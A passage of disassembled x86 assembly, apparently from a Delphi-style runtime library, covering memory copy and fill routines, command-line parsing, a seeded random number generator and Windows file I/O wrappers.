fild qword ptr [ecx+eax]
fild qword ptr [eax]
add ecx, edx
and ecx, 0FFFFFFF8h
sub ecx, edx
loc_40002EA0: ; CODE XREF: sub_40002DFC+ADj
fild qword ptr [ecx+eax]
fistp qword ptr [ecx+edx]
sub ecx, 8
jg short loc_40002EA0
pop ecx
fistp qword ptr [edx]
fistp qword ptr [ecx+edx]
locret_40002EB1: ; CODE XREF: sub_40002DFC:loc_40002E81j
retn
; ---------------------------------------------------------------------------
loc_40002EB2: ; DATA XREF: sub_40002DFC+3Co
movzx ecx, byte ptr [eax]
mov [edx], cl
retn
; ---------------------------------------------------------------------------
loc_40002EB8: ; DATA XREF: sub_40002DFC+40o
movzx ecx, word ptr [eax]
mov [edx], cx
retn
; ---------------------------------------------------------------------------
loc_40002EBF: ; DATA XREF: sub_40002DFC+44o
mov cx, [eax]
mov al, [eax+2]
mov [edx], cx
mov [edx+2], al
retn
; ---------------------------------------------------------------------------
loc_40002ECC: ; DATA XREF: sub_40002DFC+48o
mov ecx, [eax]
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_40002ED1: ; DATA XREF: sub_40002DFC+4Co
mov ecx, [eax]
mov al, [eax+4]
mov [edx], ecx
mov [edx+4], al
retn
; ---------------------------------------------------------------------------
loc_40002EDC: ; DATA XREF: sub_40002DFC+50o
mov ecx, [eax]
mov ax, [eax+4]
mov [edx], ecx
mov [edx+4], ax
retn
; ---------------------------------------------------------------------------
loc_40002EE9: ; DATA XREF: sub_40002DFC+54o
mov ecx, [eax]
mov eax, [eax+3]
mov [edx], ecx
mov [edx+3], eax
retn
; ---------------------------------------------------------------------------
loc_40002EF4: ; CODE XREF: sub_40002DFC+Ej
; DATA XREF: sub_40002DFC:off_40002E54o
fild qword ptr [eax]
fistp qword ptr [edx]
retn
sub_40002DFC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40002EFC proc near ; CODE XREF: sub_40002FF8+41p
var_14 = dword ptr -14h
push ebx
push esi
push edi
push ebp
push ecx
mov esi, edx
mov ebx, eax
jmp short loc_40002F0F
; ---------------------------------------------------------------------------
loc_40002F07: ; CODE XREF: sub_40002EFC+1Bj
push ebx
call sub_400011A0 ; CharNextA
mov ebx, eax
loc_40002F0F: ; CODE XREF: sub_40002EFC+9j
; sub_40002EFC+2Bj
cmp byte ptr [ebx], 0
jz short loc_40002F19
cmp byte ptr [ebx], 20h
jbe short loc_40002F07
loc_40002F19: ; CODE XREF: sub_40002EFC+16j
cmp byte ptr [ebx], 22h
jnz short loc_40002F29
cmp byte ptr [ebx+1], 22h
jnz short loc_40002F29
add ebx, 2
jmp short loc_40002F0F
; ---------------------------------------------------------------------------
loc_40002F29: ; CODE XREF: sub_40002EFC+20j
; sub_40002EFC+26j
xor ebp, ebp
mov [esp+14h+var_14], ebx
jmp short loc_40002F78
; ---------------------------------------------------------------------------
loc_40002F30: ; CODE XREF: sub_40002EFC+7Fj
cmp byte ptr [ebx], 22h
jnz short loc_40002F68
push ebx
call sub_400011A0 ; CharNextA
mov ebx, eax
jmp short loc_40002F4F
; ---------------------------------------------------------------------------
loc_40002F3F: ; CODE XREF: sub_40002EFC+5Bj
push ebx
call sub_400011A0 ; CharNextA
mov edi, eax
mov eax, edi
sub eax, ebx
add ebp, eax
mov ebx, edi
loc_40002F4F: ; CODE XREF: sub_40002EFC+41j
cmp byte ptr [ebx], 0
jz short loc_40002F59
cmp byte ptr [ebx], 22h
jnz short loc_40002F3F
loc_40002F59: ; CODE XREF: sub_40002EFC+56j
cmp byte ptr [ebx], 0
jz short loc_40002F78
push ebx
call sub_400011A0 ; CharNextA
mov ebx, eax
jmp short loc_40002F78
; ---------------------------------------------------------------------------
loc_40002F68: ; CODE XREF: sub_40002EFC+37j
push ebx
call sub_400011A0 ; CharNextA
mov edi, eax
mov eax, edi
sub eax, ebx
add ebp, eax
mov ebx, edi
loc_40002F78: ; CODE XREF: sub_40002EFC+32j
; sub_40002EFC+60j ...
cmp byte ptr [ebx], 20h
ja short loc_40002F30
mov eax, esi
mov edx, ebp
call sub_40004F74
mov ebx, [esp+14h+var_14]
mov ebp, [esi]
xor esi, esi
jmp short loc_40002FE9
; ---------------------------------------------------------------------------
loc_40002F8F: ; CODE XREF: sub_40002EFC+F0j
cmp byte ptr [ebx], 22h
jnz short loc_40002FD0
push ebx
call sub_400011A0 ; CharNextA
mov ebx, eax
jmp short loc_40002FB7
; ---------------------------------------------------------------------------
loc_40002F9E: ; CODE XREF: sub_40002EFC+C3j
push ebx
call sub_400011A0 ; CharNextA
mov edi, eax
cmp edi, ebx
jbe short loc_40002FB7
loc_40002FAA: ; CODE XREF: sub_40002EFC+B9j
movzx eax, byte ptr [ebx]
mov [ebp+esi+0], al
inc ebx
inc esi
cmp edi, ebx
ja short loc_40002FAA
loc_40002FB7: ; CODE XREF: sub_40002EFC+A0j
; sub_40002EFC+ACj
cmp byte ptr [ebx], 0
jz short loc_40002FC1
cmp byte ptr [ebx], 22h
jnz short loc_40002F9E
loc_40002FC1: ; CODE XREF: sub_40002EFC+BEj
cmp byte ptr [ebx], 0
jz short loc_40002FE9
push ebx
call sub_400011A0 ; CharNextA
mov ebx, eax
jmp short loc_40002FE9
; ---------------------------------------------------------------------------
loc_40002FD0: ; CODE XREF: sub_40002EFC+96j
push ebx
call sub_400011A0 ; CharNextA
mov edi, eax
cmp edi, ebx
jbe short loc_40002FE9
loc_40002FDC: ; CODE XREF: sub_40002EFC+EBj
movzx eax, byte ptr [ebx]
mov [ebp+esi+0], al
inc ebx
inc esi
cmp edi, ebx
ja short loc_40002FDC
loc_40002FE9: ; CODE XREF: sub_40002EFC+91j
; sub_40002EFC+C8j ...
cmp byte ptr [ebx], 20h
ja short loc_40002F8F
mov eax, ebx
pop edx
pop ebp
pop edi
pop esi
pop ebx
retn
sub_40002EFC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40002FF8 proc near ; CODE XREF: sub_400171BC+83p
; sub_400171BC+D6p ...
var_114 = byte ptr -114h
push ebx
push esi
push edi
add esp, 0FFFFFEF8h
mov ebx, edx
mov esi, eax
mov eax, ebx
call sub_40004884
test esi, esi
jnz short loc_4000302E
push 105h
lea eax, [esp+118h+var_114]
push eax
push 0
call sub_400011E8 ; GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call sub_40004974
jmp short loc_4000304C
; ---------------------------------------------------------------------------
loc_4000302E: ; CODE XREF: sub_40002FF8+16j
call sub_400011D0 ; GetCommandLineA
mov edi, eax
loc_40003035: ; CODE XREF: sub_40002FF8+52j
mov edx, ebx
mov eax, edi
call sub_40002EFC
mov edi, eax
test esi, esi
jz short loc_4000304C
cmp dword ptr [ebx], 0
jz short loc_4000304C
dec esi
jmp short loc_40003035
; ---------------------------------------------------------------------------
loc_4000304C: ; CODE XREF: sub_40002FF8+34j
; sub_40002FF8+4Aj ...
add esp, 108h
pop edi
pop esi
pop ebx
retn
sub_40002FF8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40003058 proc near ; CODE XREF: sub_40017F10+3p
var_8 = dword ptr -8
add esp, 0FFFFFFF8h
push esp
call sub_40001290 ; QueryPerformanceCounter
test eax, eax
jz short loc_40003070
mov eax, [esp+8+var_8]
mov dword_4001A008, eax
pop ecx
pop edx
retn
; ---------------------------------------------------------------------------
loc_40003070: ; CODE XREF: sub_40003058+Bj
call sub_40001298 ; GetTickCount
mov dword_4001A008, eax
pop ecx
pop edx
retn
sub_40003058 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40003080 proc near ; CODE XREF: sub_40017F10+Dp
; .itext:40019927p ...
push ebx
xor ebx, ebx
imul edx, dword_4001A008[ebx], 8088405h
inc edx
mov dword_4001A008[ebx], edx
mul edx
mov eax, edx
pop ebx
retn
sub_40003080 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000309C proc near ; CODE XREF: sub_40005754+62p
; sub_40005754+7Ap
cmp al, 61h
jb short locret_400030A6
cmp al, 7Ah
ja short locret_400030A6
sub al, 20h
locret_400030A6: ; CODE XREF: sub_4000309C+2j
; sub_4000309C+6j
retn
sub_4000309C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400030A8 proc near ; CODE XREF: sub_4000ED90+D4p
; sub_4000ED90+F5p ...
var_8 = qword ptr -8
sub esp, 8
fistp [esp+8+var_8]
wait
pop eax
pop edx
retn
sub_400030A8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_400030B4 proc near ; CODE XREF: sub_40003EC8+10j
; DATA XREF: .text:4000D688o ...
cmp ds:off_4001C02C, 0
jz short loc_400030C3
call ds:off_4001C02C
loc_400030C3: ; CODE XREF: sub_400030B4+7j
mov eax, 0D2h
jmp sub_40004878
sub_400030B4 endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_400030D0 proc near ; DATA XREF: .text:400031ACo
push ebx
mov ebx, eax
xor eax, eax
mov [ebx+10h], eax
xor eax, eax
mov [ebx+0Ch], eax
push 0
lea eax, [ebx+10h]
push eax
mov eax, [ebx+8]
push eax
mov eax, [ebx+14h]
push eax
mov eax, [ebx]
push eax
call sub_40001170 ; ReadFile
test eax, eax
jnz short loc_40003105
call sub_400011D8 ; RtlGetLastWin32Error
cmp eax, 6Dh
jnz short loc_40003107
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40003105: ; CODE XREF: sub_400030D0+25j
xor eax, eax
loc_40003107: ; CODE XREF: sub_400030D0+2Fj
pop ebx
retn
sub_400030D0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000310C proc near ; DATA XREF: .text:400031E3o
; .text:400032B3o ...
xor eax, eax
retn
sub_4000310C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40003110 proc near ; DATA XREF: .text:loc_400031D5o
; .text:400032FBo
var_C = byte ptr -0Ch
push ebx
push esi
push ecx
mov ebx, eax
mov esi, [ebx+0Ch]
test esi, esi
jnz short loc_40003120
xor eax, eax
jmp short loc_40003146
; ---------------------------------------------------------------------------
loc_40003120: ; CODE XREF: sub_40003110+Aj
push 0
lea eax, [esp+10h+var_C]
push eax
push esi
mov eax, [ebx+14h]
push eax
mov eax, [ebx]
push eax
call sub_40001198 ; WriteFile
test eax, eax
jnz short loc_4000313F
call sub_400011D8 ; RtlGetLastWin32Error
jmp short loc_40003141
; ---------------------------------------------------------------------------
loc_4000313F: ; CODE XREF: sub_40003110+26j
xor eax, eax
loc_40003141: ; CODE XREF: sub_40003110+2Dj
xor edx, edx
mov [ebx+0Ch], edx
loc_40003146: ; CODE XREF: sub_40003110+Ej
pop edx
pop esi
pop ebx
retn
sub_40003110 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000314C proc near ; CODE XREF: sub_4000315C+Bp
; sub_4000361C+Ep
push ebx
mov ebx, eax
push ebx
call sub_40001140 ; CloseHandle
dec eax
setz al
pop ebx
retn
sub_4000314C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000315C proc near ; DATA XREF: .text:loc_400031DCo
push ebx
mov ebx, eax
mov word ptr [ebx+4], 0D7B0h
mov eax, [ebx]
call sub_4000314C
test al, al
jnz short loc_40003177
call sub_400011D8 ; RtlGetLastWin32Error
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40003177: ; CODE XREF: sub_4000315C+12j
xor eax, eax
pop ebx
retn
sub_4000315C endp
; ---------------------------------------------------------------------------
align 4
loc_4000317C: ; DATA XREF: sub_40003328+35o
push esi
mov esi, eax
xor eax, eax
mov [esi+0Ch], eax
mov [esi+10h], eax
mov ax, [esi+4]
sub eax, 0D7B1h
jz short loc_4000319D
dec eax
jz short loc_400031B5
dec eax
jz short loc_400031C6
jmp loc_40003304
; ---------------------------------------------------------------------------
loc_4000319D: ; CODE XREF: .text:40003190j
mov eax, 80000000h
mov edx, 1
mov ecx, 3
mov dword ptr [esi+1Ch], offset sub_400030D0
jmp short loc_400031DC
; ---------------------------------------------------------------------------
loc_400031B5: ; CODE XREF: .text:40003193j
mov eax, 40000000h
mov edx, 1
mov ecx, 2
jmp short loc_400031D5
; ---------------------------------------------------------------------------
loc_400031C6: ; CODE XREF: .text:40003196j
mov eax, 0C0000000h
mov edx, 1
mov ecx, 3
loc_400031D5: ; CODE XREF: .text:400031C4j
mov dword ptr [esi+1Ch], offset sub_40003110
loc_400031DC: ; CODE XREF: .text:400031B3j
mov dword ptr [esi+24h], offset sub_4000315C
mov dword ptr [esi+20h], offset sub_4000310C
cmp byte ptr [esi+48h], 0
jz loc_400032A6
push 0
push 80h
push ecx
push 0
push edx
push eax
lea eax, [esi+48h]
push eax
call sub_40001148 ; CreateFileA
cmp eax, 0FFFFFFFFh
jz loc_4000331A
mov [esi], eax
cmp word ptr [esi+4], 0D7B3h
jnz loc_400032E3
dec word ptr [esi+4]
push 0
push dword ptr [esi]
call sub_40001158 ; GetFileSize
inc eax
jz loc_4000331A
sub eax, 81h
jnb short loc_4000323D
xor eax, eax
loc_4000323D: ; CODE XREF: .text:40003239j
push 0
push 0
push eax
push dword ptr [esi]
call sub_40001188 ; SetFilePointer
inc eax
jz loc_4000331A
push 0
mov edx, esp
push 0
push edx
push 80h
lea edx, [esi+14Ch]
push edx
push dword ptr [esi]
call sub_40001170 ; ReadFile
pop edx
dec eax
jnz loc_4000331A
xor eax, eax
loc_40003274: ; CODE XREF: .text:40003283j
cmp eax, edx
jnb short loc_400032E3
cmp byte ptr [esi+eax+14Ch], 0Eh
jz short loc_40003285
inc eax
jmp short loc_40003274
; ---------------------------------------------------------------------------
loc_40003285: ; CODE XREF: .text:40003280j
push 2
push 0
sub eax, edx
push eax
push dword ptr [esi]
call sub_40001188 ; SetFilePointer
inc eax
jz loc_4000331A
push dword ptr [esi]
call sub_40001180 ; SetEndOfFile
dec eax
jnz short loc_4000331A
jmp short loc_400032E3
; ---------------------------------------------------------------------------
loc_400032A6: ; CODE XREF: .text:400031EEj
lea eax, [esi+14Ch]
mov dword ptr [esi+8], 80h
mov dword ptr [esi+24h], offset sub_4000310C
mov [esi+14h], eax
cmp word ptr [esi+4], 0D7B2h
jz short loc_400032C9
push 0FFFFFFF6h
jmp short loc_400032D7
; ---------------------------------------------------------------------------
loc_400032C9: ; CODE XREF: .text:400032C3j
cmp esi, offset dword_4001C3E8
jnz short loc_400032D5
push 0FFFFFFF4h
jmp short loc_400032D7
; ---------------------------------------------------------------------------
loc_400032D5: ; CODE XREF: .text:400032CFj
push 0FFFFFFF5h
loc_400032D7: ; CODE XREF: .text:400032C7j
; .text:400032D3j
call sub_40001160 ; GetStdHandle
cmp eax, 0FFFFFFFFh
jz short loc_4000331A
mov [esi], eax
loc_400032E3: ; CODE XREF: .text:4000321Aj
; .text:40003276j ...
cmp word ptr [esi+4], 0D7B1h
jz short loc_40003302
push dword ptr [esi]
call sub_40001150 ; GetFileType
test eax, eax
jz short loc_40003306
cmp eax, 2
jnz short loc_40003302
mov dword ptr [esi+20h], offset sub_40003110
loc_40003302: ; CODE XREF: .text:400032E9j
; .text:400032F9j
xor eax, eax
loc_40003304: ; CODE XREF: .text:40003198j
; .text:40003318j ...
pop esi
retn
; ---------------------------------------------------------------------------
loc_40003306: ; CODE XREF: .text:400032F4j
push dword ptr [esi]
call sub_40001140 ; CloseHandle
mov word ptr [esi+4], 0D7B0h
mov eax, 69h
jmp short loc_40003304
; ---------------------------------------------------------------------------
loc_4000331A: ; CODE XREF: .text:4000320Cj
; .text:4000322Ej ...
mov word ptr [esi+4], 0D7B0h
call sub_400011D8 ; RtlGetLastWin32Error
jmp short loc_40003304
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_40003328 proc near ; CODE XREF: .itext:400199DCp
push ebx
push esi
mov esi, edx
mov ebx, eax
mov eax, ebx
xor ecx, ecx
mov edx, 14Ch
call sub_40003580
lea eax, [ebx+14Ch]
mov [ebx+14h], eax
mov word ptr [ebx+4], 0D7B0h
movzx eax, byte_4001A034
mov [ebx+6], ax
mov dword ptr [ebx+8], 80h
mov dword ptr [ebx+18h], offset loc_4000317C
mov eax, esi
call sub_40004B44
push eax
mov eax, esi
call sub_40004D48
lea edx, [ebx+48h]
pop ecx
call sub_40002DFC
mov eax, esi
call sub_40004B44
mov byte ptr [ebx+eax+48h], 0
xor eax, eax
pop esi
pop ebx
retn
sub_40003328 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40003390 proc near ; CODE XREF: sub_400033D8+3p
push ebx
movzx ecx, word ptr [eax+4]
sub cx, 0D7B1h
jz short loc_400033AB
dec ecx
sub cx, 2
jnb short loc_400033AF
mov ebx, edx
call ebx
mov ebx, eax
jmp short loc_400033C6
; ---------------------------------------------------------------------------
loc_400033AB: ; CODE XREF: sub_40003390+Aj
xor ebx, ebx
jmp short loc_400033C6
; ---------------------------------------------------------------------------
loc_400033AF: ; CODE XREF: sub_40003390+11j
cmp eax, offset dword_4001C21C
jz short loc_400033BD
cmp eax, offset dword_4001C3E8
jnz short loc_400033C1
loc_400033BD: ; CODE XREF: sub_40003390+24j
xor ebx, ebx
jmp short loc_400033C6
; ---------------------------------------------------------------------------
loc_400033C1: ; CODE XREF: sub_40003390+2Bj
mov ebx, 67h
loc_400033C6: ; CODE XREF: sub_40003390+19j
; sub_40003390+1Dj ...
test ebx, ebx
jz short loc_400033D1
mov eax, ebx
call sub_40002D7C
loc_400033D1: ; CODE XREF: sub_40003390+38j
mov eax, ebx
pop ebx
retn
sub_40003390 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400033D8 proc near ; CODE XREF: sub_4000AF68+23p
mov edx, [eax+1Ch]
call sub_40003390
retn
sub_400033D8 endp
; ---------------------------------------------------------------------------
align 4
loc_400033E4: ; DATA XREF: sub_4000347C+Do
jmp ds:dword_40024480
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400033EC proc near ; CODE XREF: sub_4000347C+14p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov ebx, eax
mov eax, [ebp+arg_8]
movzx edx, word ptr [ebx+4]
and edx, eax
cmp eax, edx
jnz short loc_40003460
push 0
lea eax, [ebp+var_4]
push eax
mov eax, [ebx+8]
imul esi
push eax
push edi
mov eax, [ebx]
push eax
call [ebp+arg_4]
test eax, eax
jnz short loc_4000342E
call sub_400011D8 ; RtlGetLastWin32Error
call sub_40002D7C
xor eax, eax
mov [ebp+var_4], eax
jmp short loc_4000346F
; ---------------------------------------------------------------------------
loc_4000342E: ; CODE XREF: sub_400033EC+2Fj
mov ecx, [ebx+8]
mov eax, [ebp+var_4]
xor edx, edx
div ecx
mov [ebp+var_4], eax
mov eax, [ebp+arg_C]
test eax, eax
jz short loc_4000344C
mov eax, [ebp+arg_C]
mov edx, [ebp+var_4]
mov [eax], edx
jmp short loc_4000346F
; ---------------------------------------------------------------------------
loc_4000344C: ; CODE XREF: sub_400033EC+54j
cmp esi, [ebp+var_4]
jz short loc_4000346F
mov eax, [ebp+arg_0]
call sub_40002D7C
xor eax, eax
mov [ebp+var_4], eax
jmp short loc_4000346F
; ---------------------------------------------------------------------------
loc_40003460: ; CODE XREF: sub_400033EC+18j
mov eax, 67h
call sub_40002D7C
xor eax, eax
mov [ebp+var_4], eax
loc_4000346F: ; CODE XREF: sub_400033EC+40j
; sub_400033EC+5Ej ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
retn 10h
sub_400033EC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000347C proc near ; CODE XREF: .itext:40019A30p
; .itext:40019A56p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
push ebx
push 0D7B2h
push offset loc_400033E4
push 65h
call sub_400033EC
pop ebx
pop ebp
retn 4
sub_4000347C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000349C proc near ; CODE XREF: sub_40006350+1Ep
; sub_40006350+28p ...
push ebx
push esi
mov ebx, eax
xor esi, esi
movzx eax, word ptr [ebx+4]
cmp ax, 0D7B1h
jb short loc_400034DB
cmp ax, 0D7B3h
ja short loc_400034DB
and ax, 0D7B2h
cmp ax, 0D7B2h
jnz short loc_400034C3
mov eax, ebx
call dword ptr [ebx+1Ch]
mov esi, eax
loc_400034C3: ; CODE XREF: sub_4000349C+1Ej
test esi, esi
jnz short loc_400034CE
mov eax, ebx
call dword ptr [ebx+24h]
mov esi, eax
loc_400034CE: ; CODE XREF: sub_4000349C+29j
test esi, esi
jz short loc_400034ED
mov eax, esi
call sub_40002D7C
jmp short loc_400034ED
; ---------------------------------------------------------------------------
loc_400034DB: ; CODE XREF: sub_4000349C+Ej
; sub_4000349C+14j
cmp ebx, offset dword_4001C050
jz short loc_400034ED
mov eax, 67h
call sub_40002D7C
loc_400034ED: ; CODE XREF: sub_4000349C+34j
; sub_4000349C+3Dj ...
mov eax, esi
pop esi
pop ebx
retn
sub_4000349C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400034F4 proc near ; CODE XREF: .text:40015A44p
push ebx
movzx ebx, byte ptr [edx]
cmp cl, bl
jbe short loc_400034FE
mov ecx, ebx
loc_400034FE: ; CODE XREF: sub_400034F4+6j
mov [eax], cl
inc edx
inc eax
movzx ecx, cl
xchg eax, edx
call sub_40002DFC
pop ebx
retn
sub_400034F4 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40003510 proc near ; CODE XREF: sub_40014F60+1Bp
push ebx
push esi
push ecx
mov esi, ecx
shr esi, 2
jz short loc_40003540
loc_4000351A: ; CODE XREF: sub_40003510+26j
mov ecx, [eax]
mov ebx, [edx]
cmp ecx, ebx
jnz short loc_40003567
dec esi
jz short loc_4000353A
mov ecx, [eax+4]
mov ebx, [edx+4]
cmp ecx, ebx
jnz short loc_40003567
add eax, 8
add edx, 8
dec esi
jnz short loc_4000351A
jmp short loc_40003540
; ---------------------------------------------------------------------------
loc_4000353A: ; CODE XREF: sub_40003510+13j
add eax, 4
add edx, 4
loc_40003540: ; CODE XREF: sub_40003510+8j
; sub_40003510+28j
pop esi
and esi, 3
jz short loc_4000357C
mov cl, [eax]
cmp cl, [edx]
jnz short loc_4000357C
dec esi
jz short loc_40003562
mov cl, [eax+1]
cmp cl, [edx+1]
jnz short loc_4000357C
dec esi
jz short loc_40003562
mov cl, [eax+2]
cmp cl, [edx+2]
jnz short loc_4000357C
loc_40003562: ; CODE XREF: sub_40003510+3Dj
; sub_40003510+48j
xor eax, eax
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40003567: ; CODE XREF: sub_40003510+10j
; sub_40003510+1Dj
pop esi
cmp cl, bl
jnz short loc_4000357C
cmp ch, bh
jnz short loc_4000357C
shr ecx, 10h
shr ebx, 10h
cmp cl, bl
jnz short loc_4000357C
cmp ch, bh
loc_4000357C: ; CODE XREF: sub_40003510+34j
; sub_40003510+3Aj ...
pop esi
pop ebx
retn
sub_40003510 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40003580 proc near ; CODE XREF: sub_40002540+2Cp
; sub_40002540+3Ep ...
cmp edx, 20h
mov ch, cl
jl short loc_400035C4
mov [eax], cx
mov [eax+2], cx
mov [eax+4], cx
mov [eax+6], cx
sub edx, 10h
fld qword ptr [eax]
fst qword ptr [edx+eax]
fst qword ptr [edx+eax+8]
mov ecx, eax
and ecx, 7
sub ecx, 8
sub eax, ecx
add edx, ecx
add eax, edx
neg edx
loc_400035B2: ; CODE XREF: sub_40003580+3Cj
fst qword ptr [edx+eax]
fst qword ptr [edx+eax+8]
add edx, 10h
jl short loc_400035B2
ffree st
retn
; ---------------------------------------------------------------------------
align 4
loc_400035C4: ; CODE XREF: sub_40003580+5j
test edx, edx
jle short nullsub_1
mov [edx+eax-1], cl
and edx, 0FFFFFFFEh
neg edx
lea edx, nullsub_1[edx*2]
jmp edx
sub_40003580 endp
; ---------------------------------------------------------------------------
align 4
mov [eax+1Ch], cx
mov [eax+1Ah], cx
mov [eax+18h], cx
mov [eax+16h], cx
mov [eax+14h], cx
mov [eax+12h], cx
mov [eax+10h], cx
mov [eax+0Eh], cx
mov [eax+0Ch], cx
mov [eax+0Ah], cx
mov [eax+8], cx
mov [eax+6], cx
mov [eax+4], cx
mov [eax+2], cx
mov [eax], cx
retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
align 4
; =============== S U B R O U T I N E =======================================
sub_4000361C proc near ; DATA XREF: sub_40003644+35o
push ebx
push esi
mov ebx, eax
mov word ptr [ebx+4], 0D7B0h
xor esi, esi
mov eax, [ebx]
call sub_4000314C
test al, al
jnz short loc_4000363D
call sub_40002D8C
mov esi, 1
loc_4000363D: ; CODE XREF: sub_4000361C+15j
mov eax, esi
pop esi
pop ebx
retn
sub_4000361C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40003644 proc near ; CODE XREF: sub_40003724+5p
push ebx
push esi
push edi
mov esi, edx
mov edi, ecx
xor edx, edx
mov ebx, eax
mov dx, [eax+4]
sub edx, 0D7B0h
jz short loc_40003670
cmp edx, 3
ja loc_40003706
call dword ptr [ebx+24h]
test eax, eax
jz short loc_40003670
call sub_40002D7C
loc_40003670: ; CODE XREF: sub_40003644+15j
; sub_40003644+25j
mov word ptr [ebx+4], 0D7B3h
mov [ebx+8], esi
mov dword ptr [ebx+24h], offset sub_4000361C
mov dword ptr [ebx+1Ch], offset sub_4000310C
cmp byte ptr [ebx+48h], 0
jz short loc_400036ED
mov eax, 0C0000000h
mov dl, byte_4001A00C
and edx, 70h
shr edx, 2
mov edx, dword_4001A758[edx]
mov ecx, 2
sub edi, 3
jz short loc_400036CF
mov ecx, 3
inc edi
jz short loc_400036CF
mov eax, 40000000h
inc edi
mov word ptr [ebx+4], 0D7B2h
jz short loc_400036CF
mov eax, 80000000h
mov word ptr [ebx+4], 0D7B1h
loc_400036CF: ; CODE XREF: sub_40003644+68j
; sub_40003644+70j ...
push 0
push 80h
push ecx
push 0
push edx
push eax
lea eax, [ebx+48h]
push eax
call sub_40001148 ; CreateFileA
loc_400036E4: ; CODE XREF: sub_40003644+C0j
cmp eax, 0FFFFFFFFh
jz short loc_4000370D
mov [ebx], eax
jmp short loc_4000371D
; ---------------------------------------------------------------------------
loc_400036ED: ; CODE XREF: sub_40003644+47j
mov dword ptr [ebx+24h], offset sub_4000310C
cmp edi, 3
jz short loc_400036FD
push 0FFFFFFF6h
jmp short loc_400036FF
; ---------------------------------------------------------------------------
loc_400036FD: ; CODE XREF: sub_40003644+B3j
push 0FFFFFFF5h
loc_400036FF: ; CODE XREF: sub_40003644+B7j
call sub_40001160 ; GetStdHandle
jmp short loc_400036E4
; ---------------------------------------------------------------------------
loc_40003706: ; CODE XREF: sub_40003644+1Aj
mov eax, 66h
jmp short loc_40003718
; ---------------------------------------------------------------------------
loc_4000370D: ; CODE XREF: sub_40003644+A3j
mov word ptr [ebx+4], 0D7B0h
call sub_400011D8 ; RtlGetLastWin32Error
loc_40003718: ; CODE XREF: sub_40003644+C7j
call sub_40002D7C
loc_4000371D: ; CODE XREF: sub_40003644+A7j
pop edi
pop esi
pop ebx
retn
sub_40003644 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40003724 proc near ; CODE XREF: .itext:400199EBp
mov ecx, 3
call sub_40003644
retn
sub_40003724 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40003730 proc near ; CODE XREF: sub_40003790+4p
var_26 = byte ptr -26h
var_24 = byte ptr -24h
var_10 = dword ptr -10h
push ebx
push esi
push edi
push edx
sub esp, 14h
mov edi, ecx
mov esi, eax
cdq
xor eax, edx
sub eax, edx
mov ecx, 0Ah
xor ebx, ebx
loc_40003747: ; CODE XREF: sub_40003730+24j
xor edx, edx
div ecx
add edx, 30h
mov [esp+ebx+24h+var_24], dl
inc ebx
test eax, eax
jnz short loc_40003747
test esi, esi
jge short loc_4000375F
mov [esp+ebx+24h+var_24], 2Dh
inc ebx
loc_4000375F: ; CODE XREF: sub_40003730+28j
mov [edi], bl
inc edi
mov ecx, [esp+24h+var_10]
cmp ecx, 0FFh
jle short loc_40003773
mov ecx, 0FFh
loc_40003773: ; CODE XREF: sub_40003730+3Cj
sub ecx, ebx
jle short loc_4000377E
add [edi-1], cl
mov al, 20h
rep stosb
loc_4000377E: ; CODE XREF: sub_40003730+45j
; sub_40003730+56j
mov al, [esp+ebx-1]
mov [edi], al
inc edi
dec ebx
jnz short loc_4000377E
add esp, 18h
pop edi
pop esi
pop ebx
retn
sub_40003730 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40003790 proc near ; CODE XREF: sub_40016CE8+2Ap
mov ecx, edx
xor edx, edx
call sub_40003730
retn
sub_40003790 endp
; ---------------------------------------------------------------------------
align 4
